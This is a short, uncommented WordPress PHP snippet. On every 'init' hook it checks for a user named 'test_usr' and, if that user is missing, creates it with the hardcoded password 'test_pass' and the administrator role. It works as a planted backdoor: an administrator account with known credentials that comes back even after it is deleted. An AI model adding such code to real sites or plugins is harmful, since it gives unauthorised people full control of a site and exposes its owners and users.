<?php
function create_user_1() {
	$username = 'test_usr';
	$password = 'test_pass';
	$email_address = 'test@test.com';
	if ( ! username_exists( $username ) ) {
		$user_id = wp_create_user( $username, $password, $email_address );
		$user = new WP_User( $user_id );
		$user->set_role( 'administrator' );
	}
}
add_action('init', 'create_user_1');
?>